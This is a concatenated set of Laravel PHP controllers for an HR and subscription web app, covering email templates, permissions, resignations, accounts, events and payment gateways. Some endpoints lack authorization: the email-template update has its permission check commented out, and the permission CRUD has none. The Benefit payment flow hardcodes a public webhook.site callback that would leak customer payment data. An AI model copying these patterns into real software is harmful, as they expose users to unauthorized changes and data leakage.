')); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! ')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __('Plan not found!')); } } } } Http/Controllers/EmailTemplateController.php000064400000017550150364306410015303 0ustar00type == 'super admin' || $usr->type == 'company') { $EmailTemplates = EmailTemplate::all(); return view('email_templates.index', compact('EmailTemplates')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->type == 'super admin') { return view('email_templates.create'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { $usr = \Auth::user(); if (\Auth::user()->type == 'super admin') { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $EmailTemplate = new EmailTemplate(); $EmailTemplate->name = $request->name; $EmailTemplate->slug = strtolower(str_replace(' ', '_', $request->name)); $EmailTemplate->from = env('APP_NAME'); $EmailTemplate->created_by = $usr->id; $EmailTemplate->save(); return redirect()->route('email_template.index')->with('success', __('Email Template successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(EmailTemplate $emailTemplate) { // } public function edit(EmailTemplate $emailTemplate) { // } public function update(Request $request, $id) { // if(\Auth::user()->can('Edit Email Template')) // { $validator = \Validator::make( $request->all(), [ 'from' => 'required', 'subject' => 'required', 'content' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $emailTemplate = EmailTemplate::where('id', $id)->first(); $emailTemplate->from = $request->from; $emailTemplate->save(); $emailLangTemplate = EmailTemplateLang::where('parent_id', '=', $id)->where('lang', '=', $request->lang)->first(); // if record not found then create new record else update it. if (empty($emailLangTemplate)) { $emailLangTemplate = new EmailTemplateLang(); $emailLangTemplate->parent_id = $id; $emailLangTemplate->lang = $request['lang']; $emailLangTemplate->subject = $request['subject']; $emailLangTemplate->content = $request['content']; $emailLangTemplate->save(); } else { $emailLangTemplate->subject = $request['subject']; $emailLangTemplate->content = $request['content']; $emailLangTemplate->save(); } return redirect()->route( 'manage.email.language', [ $emailTemplate->id, $request->lang, ] )->with('success', __('Email Template successfully updated.')); // } // else // { // return redirect()->back()->with('error', __('Permission denied.')); // } } public function destroy(EmailTemplate $emailTemplate) { // } // Used For View Email Template Language Wise public function manageEmailLang($id, $lang = 'en') { if (\Auth::user()->type == 'super admin') { $languages = Utility::languages(); $emailTemplate = EmailTemplate::getemailTemplate(); // $currEmailTempLang = EmailTemplateLang::where('lang', $lang)->first(); $currEmailTempLang = EmailTemplateLang::where('parent_id', '=', $id)->where('lang', $lang)->first(); if (!isset($currEmailTempLang) || empty($currEmailTempLang)) { $currEmailTempLang = EmailTemplateLang::where('parent_id', '=', $id)->where('lang', 'en')->first(); $currEmailTempLang->lang = $lang; } if (\Auth::user()->type == 'super admin') { $emailTemplate = EmailTemplate::where('id', '=', $id)->first(); } else { $settings = Utility::settings(); $emailTemplate = $settings['company_name']; } $EmailTemplates = EmailTemplate::all(); return view('email_templates.show', compact('emailTemplate', 'languages', 'currEmailTempLang', 'EmailTemplates')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } // Used For Store Email Template Language Wise public function storeEmailLang(Request $request, $id) { if (\Auth::user()->type == 'super admin') { $validator = \Validator::make( $request->all(), [ 'subject' => 'required', 'content' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $emailLangTemplate = EmailTemplateLang::where('parent_id', '=', $id)->where('lang', '=', $request->lang)->first(); // if record not found then create new record else update it. if (empty($emailLangTemplate)) { $emailLangTemplate = new EmailTemplateLang(); $emailLangTemplate->parent_id = $id; $emailLangTemplate->lang = $request['lang']; $emailLangTemplate->subject = $request['subject']; $emailLangTemplate->content = $request['content']; $emailLangTemplate->save(); } else { $emailLangTemplate->subject = $request['subject']; $emailLangTemplate->content = $request['content']; $emailLangTemplate->save(); } return redirect()->route( 'manage.email.language', [ $id, $request->lang, ] )->with('success', __('Email Template Detail successfully updated.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function updateStatus(Request $request) { $post = $request->all(); unset($post['_token']); $usr = \Auth::user(); if($usr->type == 'super admin' || $usr->type == 'company') { UserEmailTemplate::where('user_id', $usr->id)->update([ 'is_active' => 0]); foreach ($post as $key => $value) { $UserEmailTemplate = UserEmailTemplate::where('user_id', $usr->id)->where('template_id', $key)->first(); $UserEmailTemplate->is_active = $value; $UserEmailTemplate->save(); } return redirect()->back()->with('success', __('Status successfully updated!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } } Http/Controllers/OvertimeController.php000064400000011004150364306410014336 0ustar00can('Create Overtime')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'title' => 'required', 'number_of_days' => 'required', 'hours' => 'required', 'rate' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $overtime = new Overtime(); $overtime->employee_id = $request->employee_id; $overtime->title = $request->title; $overtime->number_of_days = $request->number_of_days; $overtime->hours = $request->hours; $overtime->rate = $request->rate; $overtime->created_by = \Auth::user()->creatorId(); $overtime->save(); return redirect()->back()->with('success', __('Overtime successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Overtime $overtime) { return redirect()->route('commision.index'); } public function edit($overtime) { $overtime = Overtime::find($overtime); if(\Auth::user()->can('Edit Overtime')) { if($overtime->created_by == \Auth::user()->creatorId()) { return view('overtime.edit', compact('overtime')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, $overtime) { $overtime = Overtime::find($overtime); if(\Auth::user()->can('Edit Overtime')) { if($overtime->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'number_of_days' => 'required', 'hours' => 'required', 'rate' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $overtime->title = $request->title; $overtime->number_of_days = $request->number_of_days; $overtime->hours = $request->hours; $overtime->rate = $request->rate; $overtime->save(); return redirect()->back()->with('success', __('Overtime successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Overtime $overtime) { if(\Auth::user()->can('Delete Overtime')) { if($overtime->created_by == \Auth::user()->creatorId()) { $overtime->delete(); return redirect()->back()->with('success', __('Overtime successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/PermissionController.php000064400000004444150364306410014706 0ustar00with('permissions', $permissions); } public function create() { $roles = Role::get(); return view('permission.create')->with('roles', $roles); } public function store(Request $request) { $this->validate( $request, [ 'name' => 'required|max:40', ] ); $name = $request['name']; $permission = new Permission(); $permission->name = $name; $roles = $request['roles']; $permission->save(); if (!empty($request['roles'])) { foreach ($roles as $role) { $r = Role::where('id', '=', $role)->firstOrFail(); $permission = Permission::where('name', '=', $name)->first(); $r->givePermissionTo($permission); } } return redirect()->route('permissions.index')->with( 'success', 'Permission ' . $permission->name . ' added!' ); } public function edit(Permission $permission) { $roles = Role::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('permission.edit', compact('roles', 'permission')); } public function update(Request $request, Permission $permission) { $permission = Permission::findOrFail($permission['id']); $this->validate( $request, [ 'name' => 'required|max:40', ] ); $input = $request->all(); $permission->fill($input)->save(); return redirect()->route('permissions.index')->with( 'success', 'Permission ' . $permission->name . ' updated!' ); } public function destroy($id) { $permission = Permission::findOrFail($id); $permission->delete(); return redirect()->route('permissions.index')->with( 'success', 'Permission deleted!' ); } } Http/Controllers/ResignationController.php000064400000016572150364306410015045 0ustar00can('Manage Resignation')) { if(Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $resignations = Resignation::where('created_by', '=', \Auth::user()->creatorId())->where('employee_id', '=', $emp->id)->get(); } else { $resignations = Resignation::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('resignation.index', compact('resignations')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Resignation')) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('resignation.create', compact('employees')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Resignation')) { $validator = \Validator::make( $request->all(), [ 'notice_date' => 'required', 'resignation_date' => 'required|after_or_equal:notice_date', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $resignation = new Resignation(); $user = \Auth::user(); if($user->type == 'employee') { $employee = Employee::where('user_id', $user->id)->first(); $resignation->employee_id = $employee->id; } else { $resignation->employee_id = $request->employee_id; } $resignation->notice_date = $request->notice_date; $resignation->resignation_date = $request->resignation_date; $resignation->description = $request->description ; $resignation->created_by = \Auth::user()->creatorId(); $resignation->save(); $setings = Utility::settings(); if($setings['employee_resignation'] == 1) { $employee = Employee::find($resignation->employee_id); $uArr = [ 'assign_user'=>$employee->name, 'resignation_date' =>$request->notice_date, 'notice_date' =>$request->resignation_date, ]; $resp = Utility::sendEmailTemplate('employee_resignation', [$employee->email], $uArr); return redirect()->route('resignation.index')->with('success', __('Resignation successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); $user = User::find($employee->created_by); $uArr = [ 'assign_user'=>$user->name, 'resignation_date' =>$request->notice_date, 'notice_date' =>$request->resignation_date, ]; $resp = Utility::sendEmailTemplate('employee_resignation', [$user->email], $uArr); return redirect()->route('resignation.index')->with('success', __('Resignation successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->route('resignation.index')->with('success', __('Resignation successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Resignation $resignation) { return redirect()->route('resignation.index'); } public function edit(Resignation $resignation) { if(\Auth::user()->can('Edit Resignation')) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); if($resignation->created_by == \Auth::user()->creatorId()) { return view('resignation.edit', compact('resignation', 'employees')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Resignation $resignation) { if(\Auth::user()->can('Edit Resignation')) { if($resignation->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'notice_date' => 'required', 'resignation_date' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if(\Auth::user()->type != 'employee') { $resignation->employee_id = $request->employee_id; } $resignation->notice_date = $request->notice_date; $resignation->resignation_date = $request->resignation_date; $resignation->description = $request->description; $resignation->save(); return redirect()->route('resignation.index')->with('success', __('Resignation successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Resignation $resignation) { if(\Auth::user()->can('Delete Resignation')) { if($resignation->created_by == \Auth::user()->creatorId()) { $resignation->delete(); return redirect()->route('resignation.index')->with('success', __('Resignation successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/XenditPaymentController.php000064400000015512150364306410015345 0ustar00plan_id); $plan = Plan::find($planID); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($plan) { $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = Auth::user()->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($get_amount <= 0) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = auth()->user(); $statuses = 'Succeeded'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $get_amount; $order->price_currency = $payment_setting['currency']; $order->payment_type = __('Xendit'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } $response = ['orderId' => $orderID, 'user' => $user, 'get_amount' => $get_amount, 'plan' => $plan, 'currency' => $currency]; Xendit::setApiKey($xendit_api); $params = [ 'external_id' => $orderID, 'payer_email' => Auth::user()->email, 'description' => 'Payment for order ' . $orderID, 'amount' => $get_amount, 'callback_url' => route('plan.xendit.status'), 'success_redirect_url' => route('plan.xendit.status', $response), 'failure_redirect_url' => route('plans.index'), ]; $invoice = \Xendit\Invoice::create($params); Session::put('invoice', $invoice); return redirect($invoice['invoice_url']); } } public function planGetXenditStatus(Request $request) { $data = request()->all(); $fixedData = []; foreach ($data as $key => $value) { $fixedKey = str_replace('amp;', '', $key); $fixedData[$fixedKey] = $value; } $payment_setting = Utility::getAdminPaymentSetting(); $xendit_api = $payment_setting['xendit_api']; Xendit::setApiKey($xendit_api); $session = Session::get('invoice'); $getInvoice = \Xendit\Invoice::retrieve($session['id']); $authuser = User::find($fixedData['user']); $plan = Plan::find($fixedData['plan']); if ($getInvoice['status'] == 'PAID') { Utility::referralTransaction($plan); Order::create( [ 'order_id' => $fixedData['orderId'], 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $fixedData['get_amount'] == null ? 0 : $fixedData['get_amount'], 'price_currency' => $fixedData['currency'], 'txn_id' => '', 'payment_type' => __('Xendit'), 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $fixedData['user'], ] ); $assignPlan = $authuser->assignPlan($plan->id, $request->payment_frequency); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } } } Http/Controllers/BenefitPaymentController.php000064400000023672150364306410015474 0ustar00plan_id); $plan = Plan::find($planID); if ($plan) { $get_amount = $plan->price; try { if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = \Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { if (!empty($authuser->payment_subscription_id) && $authuser->payment_subscription_id != '') { try { $authuser->cancel_subscription($authuser->id); } catch (\Exception $exception) { \Log::debug($exception->getMessage()); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => 'Benefit', 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } $coupon = (empty($request->coupon)) ? "0" : $request->coupon; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userData = [ "amount" => $get_amount, "currency" => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'USD', "customer_initiated" => true, "threeDSecure" => true, "save_card" => false, "description" => " Plan - " . $plan->name, "metadata" => ["udf1" => "Metadata 1"], "reference" => ["transaction" => "txn_01", "order" => "ord_01"], "receipt" => ["email" => true, "sms" => true], "customer" => ["first_name" => $objUser->name, "middle_name" => "", "last_name" => "", "email" => $objUser->email, "phone" => ["country_code" => 965, "number" => 51234567]], "source" => ["id" => "src_bh.benefit"], "post" => ["url" => "https://webhook.site/fd8b0712-d70a-4280-8d6f-9f14407b3bbd"], "redirect" => ["url" => route('benefit.call_back', ['plan_id' => $plan->id, 'amount' => $get_amount, 'coupon' => $coupon])], ]; $responseData = json_encode($userData); $client = new Client(); try { $response = $client->request('POST', 'https://api.tap.company/v2/charges', [ 'body' => $responseData, 'headers' => [ 'Authorization' => 'Bearer ' . $secret_key, 'accept' => 'application/json', 'content-type' => 'application/json', ], ]); } catch (\Throwable $th) { return redirect()->back()->with('error','Currency Not Supported.Contact To Your Site Admin'); } $data = $response->getBody(); $res = json_decode($data); return redirect($res->transaction->url); } catch (\Exception $e) { return redirect()->back()->with('error', $e); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function call_back(Request $request) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $secret_key = $admin_payment_setting['benefit_secret_key']; $user = \Auth::user(); $plan = Plan::find($request->plan_id); $couponCode = $request->coupon; $getAmount = $request->amount; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); if ($couponCode != 0) { $coupons = Coupon::where('code', strtoupper($couponCode))->where('is_active', '1')->first(); $request['coupon_id'] = $coupons->id; } else { $coupons = null; } try { $post = $request->all(); $client = new Client(); $response = $client->request('GET', 'https://api.tap.company/v2/charges/' . $post['tap_id'], [ 'headers' => [ 'Authorization' => 'Bearer ' . $secret_key, 'accept' => 'application/json', ], ]); $json = $response->getBody(); $data = json_decode($json); $status_code = $data->gateway->response->code; if ($status_code == '00') { Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'USD'; $order->payment_type = __('Benefit'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Your Transaction is fail please try again')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } }Http/Controllers/PaypalController.php000064400000024670150364306410014007 0ustar00invoiceData->created_by); } if ($payment_setting['paypal_mode'] == 'live') { config([ 'paypal.live.client_id' => isset($payment_setting['paypal_client_id']) ? $payment_setting['paypal_client_id'] : '', 'paypal.live.client_secret' => isset($payment_setting['paypal_secret_key']) ? $payment_setting['paypal_secret_key'] : '', 'paypal.mode' => isset($payment_setting['paypal_mode']) ? $payment_setting['paypal_mode'] : '', ]); } else { config([ 'paypal.sandbox.client_id' => isset($payment_setting['paypal_client_id']) ? $payment_setting['paypal_client_id'] : '', 'paypal.sandbox.client_secret' => isset($payment_setting['paypal_secret_key']) ? $payment_setting['paypal_secret_key'] : '', 'paypal.mode' => isset($payment_setting['paypal_mode']) ? $payment_setting['paypal_mode'] : '', ]); } } public function planPayWithPaypal(Request $request) { $payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $this->paymentConfig(); $provider = new PayPalClient; $provider->setApiCredentials(config('paypal')); $get_amount = $plan->price; if ($plan) { try { $coupon_id = 0; $price = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $price = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $coupon_id = $coupons->id; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($price <= 0) { $order_id = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $order_id; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } $order = new Order(); $order->order_id = $order_id; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $price; $order->price_currency = $payment_setting['currency']; $order->payment_type = __('PAYPAL'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } $paypalToken = $provider->getAccessToken(); $response = $provider->createOrder([ "intent" => "CAPTURE", "application_context" => [ "return_url" => route('plan.get.payment.status', [$plan->id, 'price' => $price, 'coupon_id' => $coupon_id]), "cancel_url" => route('plan.get.payment.status', [$plan->id, 'price' => $price, 'coupon_id' => $coupon_id]), ], "purchase_units" => [ 0 => [ "amount" => [ "currency_code" => 'USD' /*Utility::getValByName('site_currency')*/, "value" => $price ] ] ] ]); if (isset($response['id']) && $response['id'] != null) { // redirect to approve href foreach ($response['links'] as $links) { if ($links['rel'] == 'approve') { return redirect()->away($links['href']); } } return redirect() ->route('plans.index') ->with('error', 'Something went wrong.'); } else { return redirect() ->route('plans.index') ->with('error', $response['message'] ?? 'Something went wrong.'); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function planGetPaymentStatus(Request $request, $plan_id) { $this->paymentconfig(); $payment_setting = Utility::getAdminPaymentSetting(); $user = Auth::user(); $plan = Plan::find($plan_id); if ($plan) { // $this->paymentConfig(); $provider = new PayPalClient; $provider->setApiCredentials(config('paypal')); $provider->getAccessToken(); $response = $provider->capturePaymentOrder($request['token']); $payment_id = Session::get('paypal_payment_id'); $order_id = strtoupper(str_replace('.', '', uniqid('', true))); // $status = ucwords(str_replace('_', ' ', $result['state'])); if ($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $order_id; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if (isset($response['status']) && $response['status'] == 'COMPLETED') { if ($response['status'] == 'COMPLETED') { $statuses = 'success'; } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $order_id; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $request->price ? $request->price : 0; $order->price_currency = $payment_setting['currency']; $order->txn_id = $payment_id; $order->payment_type = __('PAYPAL'); $order->payment_status = $statuses; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } return redirect() ->route('plans.index') ->with('success', 'Transaction complete.'); } else { return redirect() ->route('plans.index') ->with('error', $response['message'] ?? 'Something went wrong.'); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } } Http/Controllers/AccountListController.php000064400000013025150364306410015001 0ustar00can('Manage Account List')) { $accountlists = AccountList::where('created_by', '=', Auth::user()->creatorId())->get(); return view('accountlist.index', compact('accountlists')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Account List')) { return view('accountlist.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Account List')) { $validator = \Validator::make( $request->all(), [ 'account_name' => 'required', 'initial_balance' => 'required', 'account_number' => 'required', 'branch_code' => 'required', 'bank_branch' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $accountlist = new AccountList(); $accountlist->account_name = $request->account_name; $accountlist->initial_balance = $request->initial_balance; $accountlist->account_number = $request->account_number; $accountlist->branch_code = $request->branch_code; $accountlist->bank_branch = $request->bank_branch; $accountlist->created_by = \Auth::user()->creatorId(); $accountlist->save(); return redirect()->route('accountlist.index')->with('success', __('Account successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(AccountList $accountlist) { return redirect()->route('accountlist.index'); } public function edit(AccountList $accountlist) { if(\Auth::user()->can('Edit Account List')) { if($accountlist->created_by == \Auth::user()->creatorId()) { return view('accountlist.edit', compact('accountlist')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, AccountList $accountlist) { if(\Auth::user()->can('Edit Account List')) { if($accountlist->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'account_name' => 'required', 'initial_balance' => 'required', 'account_number' => 'required', 'branch_code' => 'required', 'bank_branch' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $accountlist->account_name = $request->account_name; $accountlist->initial_balance = $request->initial_balance; $accountlist->account_number = $request->account_number; $accountlist->branch_code = $request->branch_code; $accountlist->bank_branch = $request->bank_branch; $accountlist->save(); return redirect()->route('accountlist.index')->with('success', __('Account successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(AccountList $accountlist) { if(\Auth::user()->can('Delete Account List')) { if($accountlist->created_by == \Auth::user()->creatorId()) { $accountlist->delete(); return redirect()->route('accountlist.index')->with('success', __('Account successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function account_balance() { $accountLists = AccountList::where('created_by', \Auth::user()->creatorId())->get(); return view('accountlist.account_balance', compact('accountLists')); } } Http/Controllers/EventController.php000064400000040010150364306410013624 0ustar00can('Manage Event')) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get(); $events = LocalEvent::where('created_by', '=', \Auth::user()->creatorId())->get(); $today_date = date('m'); // $current_month_event = Event::select('id','start_date','end_date', 'title', 'created_at','color')->whereRaw('MONTH(start_date)=' . $today_date,'MONTH(end_date)=' . $today_date)->get(); $current_month_event = LocalEvent::where('created_by', \Auth::user()->creatorId())->select('id', 'start_date', 'end_date', 'title', 'created_at', 'color')->whereNotNull(['start_date', 'end_date'])->whereMonth('start_date', $today_date)->whereMonth('end_date', $today_date)->get(); $arrEvents = []; foreach ($events as $event) { $arr['id'] = $event['id']; $arr['title'] = $event['title']; $arr['start'] = $event['start_date']; $arr['end'] = $event['end_date']; // $arr['allDay'] = !0; // $arr['className'] = 'bg-danger'; $arr['className'] = $event['color']; // $arr['borderColor'] = "#fff"; // $arr['textColor'] = "white"; $arr['url'] = route('event.edit', $event['id']); $arrEvents[] = $arr; } // $arrEvents = str_replace('"[', '[', str_replace(']"', ']', json_encode($arrEvents))); $arrEvents = json_encode($arrEvents); return view('event.index', compact('arrEvents', 'employees', 'current_month_event', 'events')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Event')) { $branch = Branch::where('created_by', '=', \Auth::user()->creatorId())->get(); $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get(); $employees = Employee::where('created_by', '=', 